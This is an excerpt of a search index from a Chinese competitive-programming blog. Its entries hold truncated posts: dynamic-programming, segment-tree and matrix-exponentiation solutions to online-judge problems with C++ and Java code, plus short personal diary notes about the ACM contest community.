dp[i-1][1] + dp[i-1][2] + … + dp[i-1][j-2] + dp[i-1][j-1]; 如果第i-1个位置的字符是’D’，此时是这道题的重点。 有这个一个有趣的性质，比如对于一个排列{1，3，2}，现在我们在递推得到dp[4][2]，也就是要把2添加到这个排列的最后面，现在把当前排列即{1，3，2}中大于等于2的全部加上一得到{1，4，3}，这样是仍然不会改变题目给出的关系的，然后我们再把2添加到最后，{1，4，3，2}，就可以得到dp[4][2]了 此时的复杂度是n3,可以用前缀和优化掉一个n，复杂度n方。 最后答案就是sum[len+1][len+1] 1/*************************************************** 2Author :111qqz 3************************************************ */ 4#include \u003ccstdio\u003e 5#include \u003ccstring\u003e 6#include \u003ciostream\u003e 7#include \u003calgorithm\u003e 8#include \u003cvector\u003e 9#include \u003cqueue\u003e 10#include \u003cstack\u003e 11#include \u003cset\u003e 12#include \u003cmap\u003e 13#include \u003cstring\u003e 14#include \u003ccmath\u003e 15#include \u003ccstdlib\u003e 16#include \u003cdeque\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E3+7; 32const int mod = 1000000007; 33char st[N]; 34int dp[N][N],sum[N][N];//dp[i][j]表示长度为i，最后结尾的字符的相对大小为j的方案数。 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 // freopen(\"D:\\code\\in.txt\",\"r\",stdin); 39 #endif 40 41 while (~scanf(\"%s\",st+2)) 42 { 43 44 int len = strlen(st+2); 45 // cout\u003c\u003c\"len:\"\u003c\u003clen\u003c\u003cendl; 46 ms(sum,0); 47 ms(dp,0); 48 dp[1][1] = 1; 49 sum[1][1] = 1; 50 for ( int i = 2 ; i \u003c= len+1 ; i++) 51 { 52 for ( int j = 1 ; j \u003c= i ; j++) 53 { 54 if ( st[i]=='?'||st[i]=='I') dp[i][j] = (dp[i","date":"2016-11-13","externalUrl":null,"permalink":"/2016/11/hdu-4055/","section":"Posts","summary":"题目链接 题意：给出n(n\u003c=1E3)个字符，字符可能为’D’,‘I’,’?’，第i位对应的字符分别表示，第i位大于第i+1位，第i位小于第i+1位，或者不确定。","tags":["dp"],"title":"(dp专题003)hdu 4055 Number String(dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：问长度为n的“波浪”型排列（即1..n每个数出现一次）有多少。波浪型的含义是，“高低高”或者“低高低” 思路：我们考虑当前已经知道i-1个数的波浪型的排列的方案数，那么当第i个数到来时，第i个数一定是最大的。 那么将i插入到某个位置，必须满足该位置前面必须以“高低”结尾，该位置后面必须以“低高”结尾才合法。（特别地，允许前面或者后面为空，这点体现在初始化上） 因此我们分别考虑，用dp[i][0]表示有i位且最后结尾为“高低”的方案数，dp[i][1]表示有i位且最后结尾为“低高”的方案数。 此时我们的情况是，已经有i-1个数，我要把第i个数插在某个位置。 这个位置是不确定的，因为我们需要枚举插入的位置（表现为，枚举插入的第i个数前面有j个数，后面剩余i-1-j个数） 那么第i个数前面是选择哪j个数呢？ 组合数为C[i-1][j] (i-1个数选择j个放在前面) 因此长度为i的答案为**sum[i] = sigma{dp[j][0]dp[i-j-1][1]C[i-1][j]} (0=\u003cj\u003ci) dp[i][0]和dp[i][1]对称，显然相等，都等于sum[i]/2. 我们只需要再预处理一个组合数就好了。 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21using namespace std; 22const double eps = 1E-8; 23const int dx4[4]={1,0,0,-1}; 24const int dy4[4]={0,-1,1,0}; 25const int inf = 0x3f3f3f3f; 26LL C[30][30]; 27LL dp[30][2]; 28LL sum[25]; 29void cal() 30{ 31 for ( int i = 1 ; i \u003c= 20 ; i++) 32 { 33 C[i][0] = 1; 34 C[i][i] = 1; 35 } 36 for ( int i = 2; i \u003c= 20 ; i++) 37 for ( int j = 1 ; j \u003c i ; j++) 38 C[i][j] = C[i-1][j] + C[i-1][j-1]; 39} 40int main() 41{ 42 cal(); 43 /* for ( int i = 2 ;i \u003c= 10 ; i++) 44 { 45 for ( int j = 0 ; j \u003c= i ; j++) 46 printf(\"%d \",C[i][j]); 47 printf(\"\\n\"); 48 } */ 49 ms(sum,0); 50 sum[1] = 1; 51 dp[0][0]=dp[0][1]=dp[1][0]=dp[1][1] = 1; 52 for ( int i = 2 ; i \u003c= 20 ; i++) 53 { 54 for ( int j = 0 ; j \u003c i ; j++) //枚举第i个位置前有几个。 55 { 56 sum[i] += dp[j][0]*dp[i-1-j][1]*C[i-1][j]; 57 } 58 dp[i][0] = dp[i][1] = sum[i]/2; 59 } 60// for ( int i = 1; i \u003c= 20 ;","date":"2016-11-13","externalUrl":null,"permalink":"/2016/11/dp002hdu-4489-the-kings-ups-and-downs-dp/","section":"Posts","summary":"题目链接 题意：问长度为n的“波浪”型排列（即1..n每个数出现一次）有多少。波浪型的含义是，“高低高”或者“低高低”","tags":["dp"],"title":"【dp专题002】hdu 4489 The King’s Ups and Downs (dp)","type":"post"},{"categories":["ACM"],"content":"题目连接 题意：给出n(n\u003c=200000)个数，问所有区间[l,r]中mex的和。 （一个区间mex的定义为，这个区间中没有出现的最小的非负数） 思路：我们观察到mex(1,i)随着i增大，是不减的。(单调是线段树查询区间的时候非常好用的东西,这也是次题的突破口) mex(1,i)可以O(n)维护出 现在我们考虑左端点向右移动对答案的影响。 当i移动到i+1时，此时序列中少了a[i]，设r为最小的x，满足a[x]=a[i]，那么当右断点在区间[r+1,n]，mex值是没有改变的。 当右端点属于[i+1,r-1]时，mex大于a[i]的会变成a[i]。 由于我们知道从1到某区间的mex值是单调的，那么mex大于a[i]的点必然是连续的一段。 我们可以知道最左边的q，满足mex(1,q)大于a[i]，然后将区间[q,r-1]成段更新为a[i] 因此整理思路，我们需要做两件事。 一个是每次区间求和，一个是找到最左边的q满足mex(1,q)大于a[i]. 线段树维护三个域，max域，表示该区间中mex(1,i)的最大值； sum域，表示该区间中mex(1,i)的和 lazy域，表示延迟标记。 可以预处理出nxt数组，表示位置i上的数下次出现最近是在nxt[i] 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003calgorithm\u003e 4#include \u003ciostream\u003e 5#include \u003cset\u003e 6using namespace std; 7const int N=2E5+7; 8#define lson l,m,rt\u003c\u003c1 9#define rson m+1,r,rt\u003c\u003c1|1 10typedef long long LL; 11int n; 12int a[N]; 13bool vis[N]; 14int Mex[N]; 15pair \u003c int , int \u003e b[N]; 16int nxt[N]; 17 18struct Tree 19{ 20 LL lazy; 21 LL sum; 22 LL mx; 23}tree[N\u003c\u003c2]; 24void PushUp( int rt) 25{ 26 tree[rt].sum = tree[rt\u003c\u003c1].sum + tree[rt\u003c\u003c1|1].sum; 27 tree[rt].mx = max(tree[rt\u003c\u003c1].mx,tree[rt\u003c\u003c1|1].mx); 28} 29void PushDown( int l,int r,int rt) 30{ 31 if (tree[rt].lazy!=-1) 32 { 33 int m = (l+r)\u003e\u003e1; 34 tree[rt\u003c\u003c1].sum = (m+1-l)*tree[rt].lazy; 35 tree[rt\u003c\u003c1|1].sum = (r-m)*tree[rt].lazy; 36 tree[rt\u003c\u003c1].lazy = tree[rt\u003c\u003c1|1].lazy = tree[rt\u003c\u003c1].mx = tree[rt\u003c\u003c1|1].mx = tree[rt].lazy; 37 tree[rt].lazy = -1; 38 39 } 40} 41void update( int L,int R,int sc,int l,int r,int rt) 42{ 43 if (L\u003c=l\u0026\u0026r\u003c=R) 44 { 45 tree[rt].sum = (r-l+1)*sc; 46 tree[rt].lazy = tree[rt].mx =sc; 47 return; 48 } 49 PushDown(l,r,rt); 50 int m = (l+r)\u003e\u003e1; 51 if (L\u003c=m) update(L,R,sc,lson); 52 if (R\u003e=m+1) update(L,R,sc,rson); 53 PushUp(rt); 54} 55int queryP(int x,int l,int r,int rt) 56{ 57 if (tree[rt].mx\u003c=x) return r+1; 58 if (l==r) return l; 59 60 PushDown(l,r,rt); 61 int m = (l+r)\u003e","date":"2016-11-13","externalUrl":null,"permalink":"/2016/11/hdu-4747-mex-lazy/","section":"Posts","summary":"题目连接 题意：给出n(n\u003c=200000)个数，问所有区间[l,r]中mex的和。 （一个区间mex的定义为，这个区间中没有出现的最小的非负数）","tags":["lazy标记","线段树"],"title":"hdu 4747 Mex （线段树lazy标记）","type":"post"},{"categories":["随笔杂谈"],"content":"感冒也好得差不多了。 纠结也纠结够了吧。 退役个毛线啊。 寒假还要去叉姐的camp呢.. 好了，继续。","date":"2016-11-13","externalUrl":null,"permalink":"/2016/11/20161113/","section":"Posts","summary":"感冒也好得差不多了。 纠结也纠结够了吧。 退役个毛线啊。 寒假还要去叉姐的camp呢..","tags":["算法竞赛"],"title":"20161113","type":"post"},{"categories":["ACM"],"content":"1009: [HNOI2008]GT考试 # Time Limit: 1 Sec Memory Limit: 162 MB Submit: 3127 Solved: 1926 [Submit][Status][Discuss] Description # 阿申准备报名参加GT考试，准考证号为N位数X1X2….Xn(0\u003c=Xi\u003c=9),他不希望准考证号上出现不吉利的数字。 他的不吉利数学A1A2…Am(0\u003c=Ai\u003c=9)有M位，不出现是指X1X2…Xn中没有恰好一段等于A1A2…Am. A1和X1可以为 0 Input # 第一行输入N,M,K.接下来一行输入M位的数。 N\u003c=10^9,M\u003c=20,K\u003c=1000 Output # 阿申想知道不出现不吉利数字的号码有多少种，输出模K取余的结果. Sample Input # 4 3 100 111 Sample Output # 81 # 思路： # 这次总算想对了状态表示：dp[i][j] 表示当前处理到第i位，最后j位与不吉利串相同的方案数。 # 然后此时考虑转移，也就是观察第i+1位。 # 根据第i+1位字符的不同，转移到的 位置也不相同。 # 从dp[i][j] 可以转移到dp[i+1][k]，这种转移表现为dp[i+1][k] += dp[i][j] (k取决于第i+1位字符) # *我们可以用f[i+1][k]+=f[i][j]trans[j][k]，trans[j][k]表示串s后j位与不吉利串前j位相同， # 添加一个字符后后k位与不吉利串前k位相同的方案数。 # [ 就是说中间的那一部式子可以化简成矩阵的形式。。因此整个递推式就成了矩阵乘法的形式。 # tran数组可以用kmp预处理出来。 # 重点是注意体会在字符串上dp的思想。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月13日 星期日 13时54分33秒 4File Name :code/bzoj/1009.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int M=25; 34int n; 35int m; 36int mod; 37int nxt[30]; 38char s[M]; 39struct Mat 40{ 41 LL mat[M][M]; 42 void clear() 43 { 44 ms(mat,0); 45 } 46 void init() 47 { 48 ms(mat,0); 49 for ( int i = 0 ; i \u003c m ; i++) mat[i][i] = 1; 50 } 51 void pr() 5","date":"2016-11-13","externalUrl":null,"permalink":"/2016/11/bzoj-1009/","section":"Posts","summary":"1009: [HNOI2008]GT考试 # Time Limit: 1 Sec Memory Limit: 162 MB Submit: 3127 Solved: 1926 [Submit][Status][Discuss]","tags":["dp","kmp","快速幂","矩阵"],"title":"【dp专题001】bzoj 1009: [HNOI2008]GT考试 (字符串上dp+kmp+矩阵加速线性递推式)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：问长度为n，每个位置由且仅有‘H’和’T’组成的序列中，至少有连续k个‘H’出现的方案数。 思路：不会做，参考了题解 不过没有完全搞懂。 根据题解，正面考虑比较麻烦，所以反面考虑。[j] dp[i][j]表示长度为i，前面最后连续的‘H’的个数不超过j个的方案数。 考虑转移方程为： 总的情况为：dp[i][j] = dp[i-1][j] * 2; 但是其中有多考虑的情况，就是第i位是’H’，且i位之前的最后j个位置都是’H’（即从i-j位到第i-1位都是‘H’，此时第i-j-1位必然是’T’） 有i个硬币时，如果i \u003c j+1，那么它对于i-1的情况来说，最后一个硬币的位置就可以随便放了。 如果i \u003e j + 1，dp[ i ] [ j ] = dp [ i - 1 ] [ j ] * 2 - x（不满足条件的部分） 然后我们来考虑这个x怎么求，既然是不满足条件，那么肯定是第i的位置放了H，前面的都是H，从而这些连续的H大于j。那么就考虑dp[ i - 1 - j - 1 ]（中间这 j - 1 个（kk:疑似作者笔误。应该位j个）全为H，加上第i个H，就不满足条件了），所以： dp [ i ] [ j ] = dp [ i - 1 ] [ j ] * 2 - dp [ i - j - 2 ] [ j ]（kk:仍然不是很懂这个式子…） 那么我们就差最后一个了：i == j + 1的情况了。（因为 i - j - 2 就等于 -1 了，用递推公式会RE的） 这种情况只有一种，即是全是H。 那么它就为：dp [ i ] [ j ] = dp [ i - 1 ] [ j ] * 2 - 1 最后，要用到高精度，干脆写了java 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月11日 星期五 12时31分47秒 4File Name :code/uva/10328.java 5 ************************************************ */ 6import java.math.BigInteger; 7import java.util.Scanner; 8 9public class Main{ 10 public static void main(String [] args){ 11 Scanner cin = new Scanner(System.in); 12 BigInteger[][] f = new BigInteger [110][110]; 13 for ( int i = 0 ; i \u003c= 100 ; i++) f[0][i] = new BigInteger(\"1\"); 14 f[1][0] = new BigInteger(\"1\"); 15 for ( int i = 1 ; i \u003c= 100 ; i++) f[1][i] = new BigInteger(\"2\"); 16 for ( int i = 2 ; i \u003c= 100 ; i++){ 17 for ( int j = 0 ; j \u003c= 100; j++){ 18 f[i][j] = f[i-1][j].multiply(BigInteger.valueOf(2)); 19 if (i==j+1) 20 f[i][j] = f[i][j].add(BigInteger.valueOf(-1)); 21 else if (i\u003e=j+1) 22 f[i][j] = f[i][j].add(f[i-j-2][j].negate()); 23 } 24 } 25 while (cin.hasNext()){ 26 int n = cin.nextInt(); 27 int k = cin.nextInt(); 28 System.out.println(f[n][n].add(f[n][k-1].negate())); 29 } 30 } 31}","date":"2016-11-12","externalUrl":null,"permalink":"/2016/11/uva10328/","section":"Posts","summary":"题目链接 题意：问长度为n，每个位置由且仅有‘H’和’T’组成的序列中，至少有连续k个‘H’出现的方案数。","tags":["dp","java","区间dp","高精度"],"title":"[dp专题000]uva 10328  Coin Toss (java 大数+dp)（Unsolved）","type":"post"},{"categories":["随笔杂谈"],"content":"明明一直都穿着而很厚的衣服…还是被冻感冒了。 感冒了还是要吃药的吧…那种利用身体的免疫系统来对抗病毒的做法….还是算了，因为我只是放着没管一天，现在感觉眼睛都烫得厉害，身体发软… 不知道为什么人在特别虚弱的时候，好像很容易想家？ 可能是因为身体虚弱的时候特别缺乏安全感…本能的想回到妈妈身边orz，因此想家吧…. 以及，约了同(mei)学(zi)去看12月上映 的《你的名字》……期待……. 武汉这鬼地方咯….冻成狗….还好等毕业就离开这里了。 这周有4个队去比赛，预祝各位比赛顺利，拿到想拿的牌子，尤其是@Pacedect (毕竟还是有感情的……）","date":"2016-11-11","externalUrl":null,"permalink":"/2016/11/20161111/","section":"Posts","summary":"明明一直都穿着而很厚的衣服…还是被冻感冒了。 感冒了还是要吃药的吧…那种利用身体的免疫系统来对抗病毒的做法….还是算了，因为我只是放着没管一天，现在感觉眼睛都烫得厉害，身体发软…","tags":["算法竞赛"],"title":"20161111","type":"post"},{"categories":["ACM"],"content":"rt","date":"2016-11-08","externalUrl":null,"permalink":"/2016/11/%e5%a4%a7%e7%ba%a0%e7%bb%93/","section":"Posts","summary":"rt","tags":["算法竞赛"],"title":"大纠结","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： F0 = 1 , F1 = 1 , F2 = 2 , Fn = Fn-1+Fn-2 求： FFFn Mod P ( 也就是 F[ F[ F[n] ] ] % P ) 思路：原来这是适牛出的题2333. 需要注意的是p可能为1，因此n==0或者1的时候，特判要输出1%p而不是1. 其他的没了。就是求斐波那契数列循环节的经典做法。 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 03 Nov 2016 08:09:26 AM CST 4File Name :1124.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31struct Mat 32{ 33 LL mat[2][2]; 34 void clear() 35 { 36 ms(mat,0); 37 } 38}M,M1; 39Mat mul (Mat a,Mat b,LL mod) 40{ 41 Mat c; 42 c.clear(); 43 for ( int i = 0 ; i \u003c 2 ; i++) 44 for ( int j = 0 ; j \u003c 2 ; j++) 45 for ( int k = 0 ; k \u003c 2 ; k++) 46 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k] * b.mat[k][j]%mod)%mod; 47 return c; 48} 49Mat mat_ksm(Mat a,LL b,LL mod) 50{ 51 Mat res; 52 res.clear(); 53 for ( int i = 0 ; i \u003c 2 ; i++) res.mat[i][i] = 1; 54 while (b\u003e0) 55 { 56 if (b\u00261) res = mul(res,a,mod); 57 b = b \u003e\u003e 1LL; 58 a = mul(a,a,mod); 59 } 60 return res; 61} 62LL gcd(LL a,LL b) 63{ 64 return b?gcd(b,a%b):a; 65} 66const int N = 1E6+7; 67bool prime[N]; 68int p[N]; 69void isprime() //一个普通的筛 70{ 71 int cnt = 0 ; 72 ms(prime,true); 73 for ( int i = 2 ; i \u003c N ; i++) 74 { 75 if (prime[i]) 76 { 77 p[cnt++] = i ; 78 for ( int j = i+i ; j \u003c N ; j+=","date":"2016-11-03","externalUrl":null,"permalink":"/2016/11/acdream-oj-1124--/","section":"Posts","summary":"题目链接 题意： F0 = 1 , F1 = 1 , F2 = 2 , Fn = Fn-1+Fn-2 求： FFFn Mod P ( 也就是 F[ F[ F[n] ] ] % P )","tags":["循环节","快速幂","斐波那契","矩阵"],"title":"acdream oj 1124 喵喵的遗憾 (斐波那契数列循环节)","type":"post"},{"categories":["ACM"],"content":"题意：now he let you calculate G(n,k) .Here G(n,0) = f(n) , G(n,i) = f( G(n,i-1) ) (k \u003e= i \u003e= 1).其中f是斐波那契数列。 思路：其实就是hdu 4291的加强版：hdu 4291 解题报告 开一个1E4的数组存一下每一层的循环节就好了。 http://vjudge.net/contest/139429#overview 告一段落，完结撒花！ 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 01 Nov 2016 08:31:22 PM CST 4File Name :code/hdu/3978.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31struct Mat 32{ 33 LL mat[2][2]; 34 void clear() 35 { 36 ms(mat,0); 37 } 38}M,M1; 39Mat mul (Mat a,Mat b,LL mod) 40{ 41 Mat c; 42 c.clear(); 43 for ( int i = 0 ; i \u003c 2 ; i++) 44 for ( int j = 0 ; j \u003c 2 ; j++) 45 for ( int k = 0 ; k \u003c 2 ; k++) 46 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k] * b.mat[k][j]%mod)%mod; 47 return c; 48} 49Mat mat_ksm(Mat a,LL b,LL mod) 50{ 51 Mat res; 52 res.clear(); 53 for ( int i = 0 ; i \u003c 2 ; i++) res.mat[i][i] = 1; 54 while (b\u003e0) 55 { 56 if (b\u00261) res = mul(res,a,mod); 57 b = b \u003e\u003e 1LL; 58 a = mul(a,a,mod); 59 } 60 return res; 61} 62LL gcd(LL a,LL b) 63{ 64 return b?gcd(b,a%b):a; 65} 66const int N = 1E6+7; 67bool prime[N]; 68int p[N]; 69void isprime() //一个普通的筛 70{ 71 int cnt = 0 ; 72 ms(prime,true); 73 for ( int i = 2 ; i \u003c N ; i++) 74 { 75 if (prime[i]) 76 { ","date":"2016-11-02","externalUrl":null,"permalink":"/2016/11/hdu-3978/","section":"Posts","summary":"题意：now he let you calculate G(n,k) .Here G(n,0) = f(n) , G(n,i) = f( G(n,i-1) ) (k \u003e= i \u003e= 1).其中f是斐波那契数列。","tags":["循环节","斐波那契"],"title":"hdu 3978 Evil teacher's Final Problem (斐波那契数列的循环节)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求一个小数的循环节… 思路：其实直接模拟就好… 模拟竖式计算… 这里用到一个小技巧。 由于多组数据，每次都memset一个bool会很慢，导致超时。 我们可以用一个人int数组来代替每次重置的bool数组, 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 01 Nov 2016 08:00:49 PM CST 4File Name :code/hdu/2522.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E6+7; 32int vis[N]; 33int n; 34int cnt = 0; 35void solve( int n) 36{ 37 if (n\u003c0) 38 { 39 printf(\"-\"); 40 n = -n; 41 } 42 if (n==1) 43 { 44 printf(\"1\"); 45 return; 46 } 47 int x; 48 printf(\"0.\"); 49 for ( x = 10; x ;x*=10) 50 { 51 if (vis[x]==cnt) break; 52 vis[x] = cnt; 53 printf(\"%d\",x/n); 54 x%=n; 55 } 56 puts(\"\"); 57} 58int main() 59{ 60 #ifndef ONLINE_JUDGE 61 freopen(\"code/in.txt\",\"r\",stdin); 62 #endif 63 int T; 64 scanf(\"%d\",\u0026T); 65 while (T--) 66 { 67 scanf(\"%d\",\u0026n); 68 cnt++; 69 solve(n); 70 } 71 #ifndef ONLINE_JUDGE 72 fclose(stdin); 73 #endif 74 return 0; 75}","date":"2016-11-01","externalUrl":null,"permalink":"/2016/11/hdu-2522/","section":"Posts","summary":"题目链接 题意：求一个小数的循环节… 思路：其实直接模拟就好…","tags":["循环节","模拟"],"title":"hdu 2522 A simple problem (模拟，求小数循环节)","type":"post"},{"categories":["ACM","随笔杂谈"],"content":"这种东西我也没什么资格评论，只是随便说说自己的感受。 之前在知乎上看到有人批判说，OI/ACM圈子的戾气，大致有两点。 一个是（装）弱，一个是膜。 第一点其实，至少我认识的大多数人，包括我在内，并不是装弱，而是真的觉得自己弱。 我觉得这也是竞赛带给我的财富之一吧，就是一个比较开阔的眼界。 更具体得说，大概就是，虽然竞赛是一个小圈子，但是我基本清楚，这个圈子里，世界最强的那批人是什么水平。 因此我也很清楚自己有多么弱小，而不会像有些人一样或者像包括我在内的许多人的小时候一样…在一个小的圈子（地理意义上） 一旦做到很高，就容易自满。 但是听到有的人批判说，这种“我好菜啊”的态度会让人没办法做好事情。 说实话，我对于这个逻辑是无法理解的，感觉是在搞笑。 难道我认为自己弱就不去努力做好一件事了吗？就自怨自艾了？ 难道我觉得自己弱就要自卑吗？ 弱与强是客观事实，而自卑与否确是一种心态。 那些批判这点的人，难道非要做什么事情之前先给自己打一波鸡汤，让自己相信自己不弱，亦或者本来就觉得自己很强以后，才能做好事情吗？ 感觉有些可悲。 我是弱啊，但是我今天比昨天又有了不少进步，所以很开心啊。 我是弱啊，但是让我做的事情，如果我知道自己做不到，我就会说做不到，但是如果确定要做，难道就因为我自己觉得自己弱，我就不去努力了？ 两码事啊。 第二点，膜的风气，其实之前也觉得没什么。 不过我今天算是见识到了。 最开始应该是蒟蒻%神犇，这我觉得没什么啊，真心敬佩（还有人批判说膜拜别人会让自己不努力。。。又是一种我无法理解的逻辑） 然后菜鸡之间互相膜…虽然好像挺无聊的….不过也不是什么大事情。 但是神犇%菜鸡是什么心态啊？ 也许没那么夸张。 比如今天, 我一个cf现在1400+，刚刚打了块铁的人…. 你们喊“宽神是我们心中的红太阳”真是让我…. 我知道你们没恶意，不过这让我感到很不舒服。 我只是希望大家可以一起讨论问题，一起进步，不要“膜来膜去”的。 嘛，反正也是马上就退役的人了，这些很快也与我无关了。","date":"2016-11-01","externalUrl":null,"permalink":"/2016/11/acm/","section":"Posts","summary":"这种东西我也没什么资格评论，只是随便说说自己的感受。 之前在知乎上看到有人批判说，OI/ACM圈子的戾气，大致有两点。","tags":["算法竞赛"],"title":"对acm圈现风气的感受","type":"post"},{"categories":["随笔杂谈"],"content":"软院的妹子，简称软妹。 原文音频《桜華月想 - 3L》在 WordPress 迁移后已丢失，待恢复。","date":"2016-10-31","externalUrl":null,"permalink":"/2016/11/20161101/","section":"Posts","summary":"软院的妹子，简称软妹。 原文音频《桜華月想 - 3L》在 WordPress 迁移后已丢失，待恢复。","tags":["算法竞赛"],"title":"20161101","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： Given n (1 \u003c= n \u003c= 1018), You should solve for g(g(g(n))) mod 109 + 7 where g(n) = 3g(n - 1) + g(n - 2) g(1) = 1 g(0) = 0思路：找循环节。首先由于模数固定，可以暴力一下找到循环节。 得到1E9+7的循环节是222222224,222222224的循环节是183120. 然后三次矩阵快速幂就行了。 需要注意每次都要判断那一层的n是否为0和1。 暴力解法： 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 31 Oct 2016 02:47:01 PM CST 4File Name :code/hdu/4291.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const LL loop0 = 1E9+7; 34const LL loop1=222222224,loop2=183120; //暴力得到每一层的循环节。 35/* 36LL find_loop(LL mod) 37{ 38 LL a,b,c; 39 a = 0 ; 40 b = 1 ; 41 for ( int i = 2 ; ; i++) 42 { 43 c = (a+3*b%mod)% mod; 44 a = b; 45 b = c; 46// cout\u003c\u003c\"a:\"\u003c\u003ca\u003c\u003c\" b:\"\u003c\u003cb\u003c\u003cendl; 47 if (a==0\u0026\u0026b==1) 48 { 49 return i-1; // i的时候得到第i项，判断循环的时候是判断g[i-1]==g[0]\u0026\u0026g[i]==g[1]，所以循环节长度是i-1; 50 } 51 } 52}*/ 53LL n; 54struct Mat 55{ 56 LL mat[2][2]; 57 void clear() 58 { 59 ms(mat,0); 60 } 61 void out() 62 { 63 cout\u003c\u003cmat[0][0]\u003c\u003c\" \"\u003c\u003cmat[0][1]\u003c\u003cendl; 64 cout\u003c\u003cmat[1][0]\u003c\u003c\" \"\u003c\u003cmat[1][1]\u003c\u003cendl; 65 cout\u003c\u003cendl; 66 } 67}M,M1; 68Mat mul(Mat a,Mat b,LL MOD) 69{ 70 Mat c; 71 c.clear(); 72 for ( int i = 0 ; i \u003c 2 ; i++) 73 for ( int j = 0 ; j 